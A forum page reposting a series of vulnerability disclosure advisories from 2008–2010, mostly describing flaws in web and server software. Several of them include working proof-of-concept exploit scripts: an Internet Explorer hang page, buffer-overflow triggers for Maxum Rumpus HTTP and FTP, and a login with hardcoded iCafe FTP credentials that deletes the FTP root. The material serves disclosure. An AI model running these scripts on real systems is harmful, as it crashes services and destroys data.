banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: bmrobot  XML
Profile for bmrobot Messages posted by bmrobot [ number of posts not being displayed on this page: 0 ]
 
BLUE MOON SECURITY ADVISORY 2010-01
===================================


:Title: Insecure secure cookie in Tornado
:Severity: Low
:Reporter: Blue Moon Consulting
:Products: Tornado v1.0
:Fixed in: Tornado v1.0.1


Description
-----------

Tornado is an open source version of the scalable, non-blocking web server and tools that power FriendFeed.

A secure cookie in Tornado is stored in three parts, separated by a pipe sign (``|``)

::

<value>|<timestamp>|<hmac>

where:

<value>
is the cookie's value encoded in Base64, which does use the digits 0 to 9.

<timestamp>
is ``str(int(time.time()))``.

<hmac>
is the keyed hash value of <value> and <timestamp> concatenated.

The problem is ``get_secure_cookie`` only checks for expired timestamp and the <hmac> does not take into account the separator character. An attacker, therefore, can move the pipe sign to the left by 4-character blocks to create another valid cookie, whose timestamp is in the far future, and value truncated by 3 characters.

This vulnerability is rated at low severity due to situational exploiting conditions.

Workaround
----------

There is no workaround.

Fix
---

Customers are advised to upgrade to at least version 1.0.1.

Disclosure
----------

Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.

:Initial vendor contact:

August 13, 2010: Notice sent to Ben Darnell.

:Vendor response:

August 13, 2010: Ben replied confirming the bug.

:Further communication:

August 13, 2010: Ben added that the attacker would have to shift by 4 digits due to Base64 encoding.

August 13, 2010: Ben added that version 1.0.1 would have a timestamp check.

:Public disclosure: August 16, 2010

:Exploit code:

No exploit code required.

Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
BLUE MOON SECURITY ADVISORY 2009-08
===================================


:Title: Multiple Vulnerabilities in PyForum
:Severity: Critical
:Reporter: Hoang Quoc Thinh and Blue Moon Consulting
:Products: PyForum v1.0.3
:Fixed in: --


Description
-----------

PyForum is a 100% python-based message board system based in the excellent web2py framework.

We have discovered cross site scripting and cross site request forgery vulnerabilities in PyForum. The first allows arbitrary script to run when a post is viewed. The second allows attackers to submit forms (such as changing password) automatically without user's knowledge.

XSS vulnerability lies in the BBcode parsing in module ``models.parser``. The ``img`` and ``url`` tags do not sanitize inputs and hence are susceptible to script injection.

CSRF vulnerability lies in the design of this web application. Forms do not have secure cookies and may be automatically submitted on behalf of the user.

These bugs are rated at critical because they can be easily exploited and cause lost of integrity.

These bugs may exist in older versions and in zForum, from which pyForum derives, too.

Workaround
----------

There is no workaround.

Fix
---

There is no fix at the moment.

Disclosure
----------

Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.

:Initial vendor contact:

December 05, 2009: Notice sent to Julio Flores Schwarzbeck (techfuel.net)

December 09, 2009: Reminder sent to Julio Flores Schwarzbeck

:Vendor response:

--

:Further communication:

--

:Public disclosure: December 15, 2009

:Exploit code:

No exploit code required.

Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
BLUE MOON SECURITY ADVISORY 2009-07
===================================


:Title: Backdoor in PyForum
:Severity: Critical
:Reporter: Blue Moon Consulting
:Products: PyForum v1.0.3
:Fixed in: --


Description
-----------

pyForum is a 100% python-based message board system based in the excellent web2py framework.

We have discovered a backdoor in PyForum. Anyone could force a password reset on behalf of other users whose emails are known. More importantly, the software author, specifically, can obtain the new Administrator's password remotely.

The problem is in module ``forumhelper.py``. A new password is generated and saved in the database. Then a notification email which contains this new password in plaintext is sent to the user. There is no password reset confirmation code or similar verification action required. This causes a mild annoyance, or at most an account lockout.

When it comes to Administrator account, however, the problem is more severe. This default account's email is set to ``administrator@pyforum.org`` and can only be changed directly in the database. Therefore, new password is sent to the software author by default. And since this email address is known, everyone can request a password reset easily.

This bug may exist in older versions and in zForum, from which pyForum derives, too.

Workaround
----------

Change Administrator's email address immediately and do not publish it anywhere.

Fix
---

There is no fix at the moment.

Disclosure
----------

Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.

Considered this *an intentional backdoor*, we decided to alert the public immediately.

:Initial vendor contact:

--

:Vendor response:

--

:Further communication:

--

:Public disclosure: November 30, 2009

:Exploit code:

No exploit code required.

Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
~~~~~~~~~~~~
BMSA-2009-06
~~~~~~~~~~~~

`Tiếng Việt`_

.. _`Tiếng Việt`:
`CẢNH BÁO AN NINH TRĂNG XANH 2009-06`_

`English`_

.. _`English`:
`BLUE MOON SECURITY ADVISORY 2009-06`_

CẢNH BÁO AN NINH TRĂNG XANH 2009-06
===================================

:Tiêu đề: Lỗi thực thi mã từ xa trong BKAV eOffice
:Mức nguy hại: Nghiêm trọng
:Người thông báo: Tư vấn Trăng Xanh
:Sản phẩm: eOffice v5.1.5
:Đã khắc phục trong: --

Diễn giải
---------

eOffice -- Văn phòng điện tử là hệ thống phần mềm trao đổi thông tin, điều hành tác nghiệp và quản lý trình duyệt văn bản, hồ sơ công việc trực tuyến trên mạng máy tính.

Chúng tôi đã phát hiện một lỗi nghiêm trọng trong phần mềm eOffice. Lỗi này cho phép kẻ xấu thực thi những đoạn mã độc từ xa mà người dùng không hề hay biết.

Để tận dụng lỗi, kẻ xấu chỉ cần gửi một thư điện tử đặc biệt đến địa chỉ thư của người bị hại. Khi người dùng nhấn vào xem thư này thì mã độc sẽ tự động được thực hiện ngay lập tức. Từ đó, kẻ xấu có thể chiếm toàn quyền điều khiển máy tính của nạn nhân, hoặc thực hiện tấn công từ chối dịch vụ.

Lỗi này tồn tại trong phiên bản 5.1.5 và các phiên bản cũ. Các phiên bản mới hơn cũng có thể vẫn còn lỗi.

Giảm nguy hại
-------------

Người dùng có thể giảm thiểu nguy hại bằng cách chuyển qua sử dụng các phần mềm thư điện tử khác ví dụ như phần mềm miễn phí Thunderbird, Sylpheed, Outlook Express hoặc phần mềm Outlook trong bộ phần mềm văn phòng MS Office cho đến khi lỗi đã được khắc phục.

Khắc phục lỗi
-------------

Người dùng được khuyến khích liên hệ với nhà sản xuất eOffice trực tiếp để yêu cầu bản vá lỗi.

Quá trình thông báo
-------------------

Với quá khứ tiếp nhận lỗi tiêu cực (`<bmsa200806.html>`_), Tư vấn Trăng Xanh quyết định không liên lạc với nhà sản xuất mà liên lạc với cơ quan điều phối cấp quốc gia về ứng cứu sự cố Việt Nam -- VNCERT.

:Liên lạc ban đầu:

Ngày 01 tháng 08 năm 2009: Gửi thư điện tử cho office@vncert.vn, vncert@mpt.gov.vn, vncert@mic.gov.vn.

:Trả lời từ đơn vị điều phối:

Ngày 01 tháng 08 năm 2009: Phòng Nghiệp vụ trả lời sẽ là đầu mối phụ trách điều phối vấn đề này từ VNCERT.

:Liên lạc chuyên sâu:

Ngày 02 tháng 08 năm 2009: VNCERT đề nghị Trăng Xanh chứng minh lỗi.

Ngày 02 tháng 08 năm 2009: Trăng Xanh chứng minh sự tồn tại của lỗi và quay phim lại quá trình tận dụng lỗi.

Ngày 02 tháng 08 năm 2009: Trăng Xanh gửi bản thảo cảnh báo cho VNCERT.

Ngày 07 tháng 08 năm 2009: Trăng Xanh chứng minh sự tồn tại của lỗi với VNCERT và Bộ Thông tin Truyền thông.

Ngày 09 tháng 08 năm 2009: Nguyễn Minh Đức của BKAV yêu cầu cung cấp thông tin kỹ thuật dựa theo thư mời họp khẩn cấp của VNCERT.

Ngày 10 tháng 08 năm 2009: Trăng Xanh trả lời sẽ gặp BKAV tại cuộc họp sắp diễn ra.

Ngày 10 tháng 08 năm 2009: Bộ Thông tin Truyền thông tổ chức cuộc họp khẩn cấp gồm đại diện của Bộ, VNCERT, VNISA, Trăng Xanh, và BKAV để kiểm chứng lỗi trên môi trường độc lập. BKAV đã không tham dự.

Ngày 17 tháng 08 năm 2009: Nguyễn Minh Đức đề nghị Trăng Xanh cung cấp thông tin về lỗi dựa trên tinh thần của công văn từ VNCERT.

Ngày 19 tháng 08 năm 2009: Trăng Xanh trả lời nêu rõ các lý do mà BKAV đã tự từ chối nhận thông tin kỹ thuật về lỗi, đồng thời cũng yêu cầu BKAV gửi công văn chính thức đến Trăng Xanh nếu cần sự giúp đỡ trong việc khắc phục lỗi.

Ngày 24 tháng 08 năm 2009: Nguyễn Minh Đức không trả lời bằng công văn chính thức nên đã bị bỏ qua.

:Công bố cộng đồng:

Ngày 01 tháng 09 năm 2009

:Mã tận dụng:

Không được công bố

Miễn trách nhiệm
----------------

Thông tin được cung cấp trong cảnh báo an ninh này được cung cấp "chỉ như vậy" mà không có bất kỳ một đảm bảo nào. Công ty TNHH Tư vấn Trăng Xanh không nhận bất kỳ trách nhiệm gì, cho dù là được nói rõ hoặc ngụ ý, bao gồm trách nhiệm về tính phù hợp và khả năng thương mại cho bất kỳ mục đích nào. Việc sử dụng thông tin trong cảnh báo này, hoặc các tài liệu được liên kết đến từ cảnh báo này là hoàn toàn phụ thuộc vào người dùng. Công ty TNHH Tư vấn Trăng Xanh giữ quyền thay đổi hoặc cập nhật thông báo này vào bất kỳ thời điểm nào.

----

BLUE MOON SECURITY ADVISORY 2009-06
===================================

:Title: Remote code execution in BKAV eOffice
:Severity: Critical
:Reporter: Blue Moon Consulting
:Products: eOffice v5.1.5
:Fixed in: --

Description
-----------

We could not find out the definitive description for eOffice in English. This is our own understanding of the application: eOffice is an IMAP email client.

We have discovered a remote code execution vulnerability in eOffice. The attacker could force an unknowning user to execute arbitrary code.

To exploit this bug, an attacker only needs to send a specially-crafted email to his target's address. When the victim clicks on the email, malicious code will run immediately. From there, the attacker might take full control of the machine, or simply cause a Denial of Service.

This vulnerability exists in versions up to 5.1.5. Newer version might also be affected.

Workaround
----------

Current eOffice users are strongly advised to switch to other email clients such as the free Thunderbird, Sylpheed, Outlook Express, or commercial Outlook in the MS Office suite until the bug has been resolved.

Fix
---

Customers are advised to contact and request a fix directly from the vendor.

Disclosure
----------

Due to negative response in previous report (`<bmsa200806.html>`_), Blue Moon Consulting decided not to report this bug to the vendor but contacted the Vietnam Computer Emergency Response Team -- VNCERT.

:Initial contact:

August 01, 2009: Initial security alert sent to office@vncert.vn, vncert@mpt.gov.vn, vncert@mic.gov.vn

:Co-ordinator response:

August 01, 2009: Operation team replied that it would be the point of contact for VNCERT.

:Further communication:

August 02, 2009: VNCERT requested proof of vulnerability.

August 02, 2009: Blue Moon Consulting showed and recorded the proof of concept exploit.

August 02, 2009: Blue Moon Consulting sent a draft advisory to VNCERT.

August 07, 2009: Blue Moon Consulting showed the proof of concept exploit under close observation of VNCERT and Ministry of Information and Communications.

August 09, 2009: Nguyen Minh Duc from BKAV requested us to provide technical details prior to the emergency meeting called for by VNCERT.

August 10, 2009: Blue Moon Consulting requested to discuss with BKAV at the meeting.

August 10, 2009: Ministry of Information and Communications held an emergency meeting comprising of representatives from the Ministry, VNCERT, VNISA, Blue Moon Consulting, and BKAV to verify the vulnerability in an independent environment. BKAV refused to attend the meeting.

August 17, 2009: Nguyen Minh Duc asked Blue Moon Consulting to provide more technical information about the vulnerability based on VNCERT's request.

August 19, 2009: Blue Moon Consulting replied with clear reasons why BKAV had voluntarily denied itself from such information. Blue Moon Consulting also requested that written request should be made if further assistance was required.

August 24, 2009: Nguyen Minh Duc did not use official communication channel, and therefore was ignored.

:Public disclosure:

September 01, 2009

:Exploit code:

No exploit code provided.

Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
BLUE MOON SECURITY ADVISORY 2009-05
===================================


:Title: Cross Site Request Forgery in Yahoo! 360plus
:Severity: Moderate
:Reporter: Thinh Q. Hoang and Blue Moon Consulting
:Products: Yahoo! 360plus
:Fixed in: --


Description
-----------

We could not find out the definitive description for Yahoo! 360plus from Yahoo! website. This is our own understanding of the application: Yahoo! 360plus is a blogging service.

We have discovered a Cross Site Request Forgery vulnerability in Yahoo! 360plus. The attacker could force an unknowning user to remove all her avatars by visiting a specially crafted page while her Yahoo! 360plus session is still valid.

This problem is similar to the one that allowed removal of user comments in Yahoo! 360 (the older version of Yahoo! 360plus). The link to avatar deletion is, in the case of Yahoo! 360plus Vietnam, ``http://vn.blog.yahoo.com/setup/profile_photo.php?act=del&prf_photo=1`` where ``prf_photo`` could be ``1``, ``2``, ``3``, or ``4``. Unlike other actions where a ``crumb`` token is required, this action does not require any token and hence suffers from a CSRF vulnerability.

Workaround
----------

Users of Yahoo! 360plus service should only login to make modifications and logout immediately when done.

Fix
---

There is no fix at the moment.

Disclosure
----------

Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.

:Initial vendor contact:

June 02, 2009: Initial security alert sent to security@yahoo-inc.com

:Vendor response:

--

:Further communication:

--

:Public disclosure: June 10, 2009

:Exploit code:

No exploit code required.

Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
BLUE MOON SECURITY ADVISORY 2009-04
===================================


:Title: Remote Denial of Service in Internet Explorer
:Severity: Moderate
:Reporter: Blue Moon Consulting
smilieroducts: Internet Explorer 7 and 8
:Fixed in: --


Description
-----------

We could not find out the definitive description for Internet Explorer from Microsoft website. This is our own understanding of the application: Internet Explorer is a web browser.

We have discovered a remote DoS vulnerability in Internet Explorer 7 and 8. When visit a malicious page, the browser may freeze indefinitely and killing it in Task Manager is required. With IE8's default settings, killing the tab process simply launches another process and goes to the same malicious page, hence repeating the cycle. The root cause is unknown to us. We suspect that it is related to the display of unprintable characters on Windows XP, and Vista. The same problem does not occur in Windows 7.

Microsoft has classified this vulnerability as a stability (not security) issue and will be addressing it in the next version of the application.

Workaround
----------

There is no workaround.

Fix
---

This problem is to be fixed in the next version of Internet Explorer.

Disclosure
----------

Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.

:Initial vendor contact:

March 19, 2009: Initial contact sent to secure@microsoft.com.

:Vendor response:

March 19, 2009: Tony replied stating the preference for PGP communication.

:Further communication:

March 20, 2009: Technical details and PoC code were sent to Tony, in PGP MIME format.

March 20, 2009: Tony replied with a new case identifier MSRC 9011jr and informed us of a new case manager, Jack.

March 21, 2009: We further reported that IE 8 was affected by the same bug, in PGP MIME format.

March 30, 2009: We asked if Microsoft had received our PoC.

March 31, 2009: Jack confirmed the receipt, and replied that Microsoft could not reproduce the behavior of this bug.

April 01, 2009: We clarified that we tested with IE 7, and IE 8 on Vista Business. Sent in PGP MIME format.

April 01, 2009: Jack said the email was stripped out and asked us to resend.

April 02, 2009: We resent the last email in plain text.

April 03, 2009: Jack told us Microsoft only experienced temporary DoS and in no case did Internet Explorer hang indefinitely.

April 06, 2009: We sent Jack a video clip, in PGP MIME format.

April 06, 2009: Jack asked us to resend because the email was stripped again.

April 07, 2009: We resent the clip in plain text to Jack.

April 09, 2009: Jack acknowledged the receipt and let us know the bug would be fixed in the next version of Internet Explorer.

April 09, 2009: We asked for a confirmation of bug classification.

April 09, 2009: Jack confirmed this bug was classified as stability, instead of a security issue. We therefore decided to release this advisory to the public.

smilieublic disclosure: April 11, 2009

:Exploit code: The following CGI script causes IE to hang indefinitely.

::

#!C:/python25/python
import sys
import random

CHAR_SET = [chr(x) for x in range(0x20)]
CHAR_SET += [chr(x) for x in range(128, 256)]

def send_file():
l = 800000 + 4096
print "Content-Type: text/plain"
print "Content-Length: %d" % l
print "Cache-Control: no-cache, no-store, must-revalidate"
# this is not standardized, but use it anyway
print "Pragma: no-cache"
print ""
# bypass IE download dialog
sys.stdout.write("a" * 4096)
# print junks
for i in xrange(l):
sys.stdout.write(random.choice(CHAR_SET))
sys.exit()

send_file()


Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
BLUE MOON SECURITY ADVISORY 2009-03
===================================


:Title: Multiple vulnerabilities in OpenSite v2.1
:Severity: Critical
:Reporter: Blue Moon Consulting
smilieroducts: OpenSite v2.1
:Fixed in: to be fixed in 3.0


Description
-----------

OpenSite is an Open Source Content Management System powered by PHP5 and MySQL 4 and is extremely simple and lightweight.

We have discovered six vulnerabilities in OpenSite from authentication bruteforce to SQL injection. Except the first vulnerability rated at critical severity, the rest is of low severity.

1. Weakened authentication.

The function ``init`` in ``origin/libs/user.php`` checks for a matching ``origin_hash`` cookie. However, this cookie can be bruteforced in at most 2^32 tries for a known username. In reality, the number of attempts could be greatly reduced knowing that we do not have to check for time in the future, and long past.

2. Special characters such as quotes, double quotes, backslashes in password prevent users from logging in.

In ``modules/userregister/index.php``, the argument passed to ``$user->register`` contains and escaped ``$_POST['password']``. In ``origin/libs/user.php``, this password is hashed with ``sha1``. However, the function ``login`` does not escape the POST data before hashing it, causing inconsistency.

3. Double escapes in user registraion.

In ``origin/libs/user.php``, the register function escapes all key=>value pairs before inserting them into the database. However, ``username``, ``password``, and ``email`` have been escaped before being passed to this function. Therefore they are escaped twice.

4. SQL injection in admincp/includes/functions.php.

SQL injection in function ``haspermission``. The parameters ``$module`` and ``$section`` are not escaped. This function is called in ``admincp/usergroups.php``.

5. SQL injection in ``admincp/settings.php``.

SQL injection in processing ``$_POST['do'] == "save"``. The POST data ``settings`` are not properly escaped before saving.

6. SQL injection in ``admincp/usergroups.php``.

SQL injection in all permissions select command ``SELECT id,module,section,groups FROM permissions WHERE module='".$module."' AND section='".$section."' LIMIT 1"``. The POST data ``permissions`` are not properly escaped before use.

Workaround
----------

There is no workaround.

Fix
---

These bugs are planned to be fixed in OpenSite v3.0.

Disclosure
----------

Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.

:Initial vendor contact:

February 24, 2009: Initial contact sent to Jack Polgar.

:Vendor response:

February 24, 2009: Jack replied asking for technical details.

:Further communication:

February 24, 2009: Technical details were sent to Jack, and confirmation was requested.

February 24, 2009: Jack confirmed all problems and stated "most or all of them will be fixed in the next release".

February 24, 2009: Prepared advisory is sent to Jack to co-ordinate the public release.

smilieublic disclosure: February 25, 2009

:Exploit code: No exploit code is provided.

Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
BLUE MOON SECURITY ADVISORY 2009-02
===================================


:Title: XML Injection in PyBlosxom
:Severity: Low
:Reporter: Blue Moon Consulting
smilieroducts: PyBlosxom v1.4.3
:Fixed in: --


Description
-----------

PyBlosxom is a lightweight file-based weblog system. The project started as a Python clone of Blosxom but has since evolved into a beast of its own. PyBlosxom focuses on three things: simplicity, extensibility, and community.

In v1.4.3, PyBlosxom suffers an XML injection issue. This allows a malicious user to insert abitrary code into the XML output from PyBlosxom.

The problem is with Atom flavor. Its ``head.atom`` uses ``$(url)`` and ``$url`` variables, in many places, that were not properly escaped. Injection can be made by forcing PyBloxsom to use Atom flavor such as ``http://host/path/%3Ccool%3E?flav=atom``. A tag ``<cool>`` is injected in such URL.

Blue Moon Consulting has verified the bug in version 1.4.3. It is highly likely that it also exists in older versions starting from 1.3.

Workaround
----------

Disable Atom flavor by deleting ``atom.flav`` directory.

Fix
---

Users of PyBlosxom are advised to contact the vendor directly for a proper fix.

Disclosure
----------

Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.

:Initial vendor contact:

February 07, 2009: Initial contact sent to Will Guaraldi.

:Vendor response:

February 07, 2009: Will replied PyBlosxom did not use XML, so there could be no XML injection bug.

:Further communication:

February 07, 2009: Replied to Will that we did find such bug.

February 08, 2009: Will was skeptical about the bug but asked us to file it in the bug tracker anyway.

February 08, 2009: We replied that filing security bug in a public bug tracker was not our disclosure practice. We again stated our disclosure policy and asked Will to accept it before we could send him further details.

February 08, 2009: Will said he would not make any agreement. We therefore decided to alert the public.

smilieublic disclosure: February 09, 2009

:Exploit code: No exploit code is needed.

Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
BLUE MOON SECURITY ADVISORY 2009-01
===================================


:Title: Authentication bypass in Interspire Shopping Cart
:Severity: Critical
:Reporter: Truong Van Tri and Blue Moon Consulting
smilieroducts: Interspire Shopping Cart v4.0.1 Ultimate edition
:Fixed in: v4.0.2


Description
-----------

Interspire Shopping Cart (ISC) is ecommerce software that includes everything you need to start, run, promote and profit from your online store. It combines easy-to-customize store designs with marketing tools proven to significantly increase your sales.

In v4.0.1, ISC suffers from an authentication bypass problem. This allows anyone to login to ISC's control panel without knowing the administrator's password.

The problem is with ``class.auth.php``'s ``ProcessLogin`` function. This function sets a HTTPOnly cookie flag ``RememberToken`` too early in the process, even before the user is authenticated. A malicious user could force ``ProcessLogin`` to set this cookie by ticking on ``Remember me`` at the login page, entering targeted username such as ``admin``, and anything as password. This first attemp will fail, but the cookie is already set, and ready to authenticate him/her to the control panel.

Blue Moon Consulting has verified the bug in version 4.0.1 Ultimate edition being showcased at http://www.interspire.com/shoppingcart/demo.php. It is highly likely that it also exists in older versions.

Workaround
----------

There is no workaround. Please apply the fix.

Fix
---

The problem has been fixed in v4.0.2.

Disclosure
----------

Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.

:Initial vendor contact:

January 07, 2009: Initial contact sent to customerservice@interspire.com and sales@interspire.com

:Vendor response:

January 08, 2009: Chris Boulton requested further communications to be addressed to him directly.

:Further communication:

January 08, 2009: Prepared advisory is sent to Chris and regular update is requested.

January 08, 2009: Chris updated us with a proper fix.

January 08, 2009: Mitchell Harper updated us with Interspire's notification to their customers.

January 08, 2009: Mitchell and Chris requested us to hold off full disclosure in 6 weeks to allow time for Interspire customers to get patched.

January 08, 2009: We agreed to hold it off till 4.0.2 was released.

January 08, 2009: Draft advisory was sent to Chris and Mitchell.

January 08, 2009: Chris clarified that 4.0.2 had been released to address the issue.

January 12, 2009: Mitchell requested us not to include full details such as steps to reproduce the bug.

January 12, 2009: We explained our disclosure policy again to Mitchell, and sent an updated advisory.

smilieublic disclosure: January 12, 2009

:Exploit code: No exploit code is needed.

Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
BLUE MOON SECURITY ADVISORY 2008-09
===================================


:Title: Two buffer overflows in Maxum Rumpus
:Severity: Critical
:Reporter: Blue Moon Consulting
:Products: Maxum Rumpus v6.0
:Fixed in: 6.0.1


Description
-----------

Rumpus turns any Mac into a file transfer server.

Rumpus v6.0 contains two buffer overflow vulnerabilities in its HTTP and FTP modules. The first allows an unauthenticated user to crash Rumpus. The later may result in arbitrary code execution under superuser privilege.

The overflow in HTTP component is caused by the lack of boundary check when parsing for HTTP action verb (GET, POST, PUT, etc.). If the verb is exactly 2908-byte long, the server runs into a segmentation fault and crashes. A manual restart is required. It has been observed that this problem occurs at other verb lengths too. The vulnerability is rated at moderate severity for the lost of service.

The overflow in FTP component is also caused by the lack of length check when parsing FTP commands that take argument such as ``MKD``, ``XMKD``, ``RMD`` and so on. The overflow occurs when the argument is ``strcpy`` to an internal buffer. This buffer is 1024-byte long. When the passed-in argument is longer than 1046 bytes, the instruction pointer will be overwritten. This allows a successful attack to run arbitrary code under the privilege of a superuser (root) by default. Though authorization is required to exploit this security bug, the vulnerability is rated at critical severity because the FTP daemon could be allowing anonymous access.

Workaround
----------

There is no workaround the first bug.

Disable ANONYMOUS and only allow trusted users to use FTP.

Fix
---

Maxum has released Rumpus v6.0.1 which addressed these bugs.

Disclosure
----------

Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.

:Initial vendor contact:

November 28, 2008: Initial contact sent to support@maxum.com

:Vendor response:

November 28, 2008: John requested further communications to be sent to the same address.

:Further communication:

November 28, 2008: Technical details and request for regular update of a patch sent to the vendor.

November 29, 2008: Vendor thanked for the bug report and planned to release v6.0.1 on Monday, December 01.

December 01, 2008: Vendor released 6.0.1 and posted release note at http://www.maxum.com/Rumpus/News601.html.

:Public disclosure: December 01, 2008

:Exploit code:

For the vulnerability in HTTP component::

from socket import socket, AF_INET, SOCK_STREAM

host = "192.168.1.12"
port = 80

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send('z' * 2908 + '\n\n')
s.recv(1024)
s.close()

For the vulnerability in FTP component::

from socket import socket, AF_INET, SOCK_STREAM

host = "192.168.1.12"
port = 21
user = "regular"
pass_ = "training"

commands = [
'user regular\n',
'pass training\n',
'mkd ' + 'z' * 1046 + 'abcd\n'
]

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
for line in commands:
s.send(line)
s.recv(1024)
s.close()

Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
Code:
BLUE MOON SECURITY ADVISORY 2008-08
===================================
:Title: Insecure default FTP password in VTC iCafe
:Severity: Critical
:Reporter: Blue Moon Consulting
:Products: VTC iCafe 1.17
:Fixed in: --
Description
-----------
VTC iCafe is an internet cafe management application. It uses a hardcoded insecure default FTP password ``VTCIntecom`` / ``VTCIntecom``. The FTP server listens on port 6655 and distributes update files to the clients. A malicious user could use this knowledge to a) cause a denial of services on the clients by removing the FTP root directory, or b) place malwares such as virus, trojan on the client by replacing the update files.
Workaround
----------
There is no workaround.
Fix
---
There is no fix at the moment. Customers are advised to contact the vendor for a proper fix.
Disclosure
----------
Blue Moon Consulting adapts `RFPolicy v2.0 <http://www.wiretrip.net/rfp/policy.html>`_ in notifying vendors.
:Initial vendor contact:
August 12, 2008: Initial contact sent to <a href="mailto:support.icafe@vtc.vn">support.icafe@vtc.vn</a>
:Vendor response: --
:Public disclosure: August 20, 2008
:Exploit code:
::
import ftplib
ftp = ftplib.FTP()
ftp.connect("localhost", 6655)
ftp.login("VTCIntecom", "VTCIntecom")
ftp.sendcmd("RMD \x00")
ftp.quit()
Disclaimer
----------
The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.
 

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|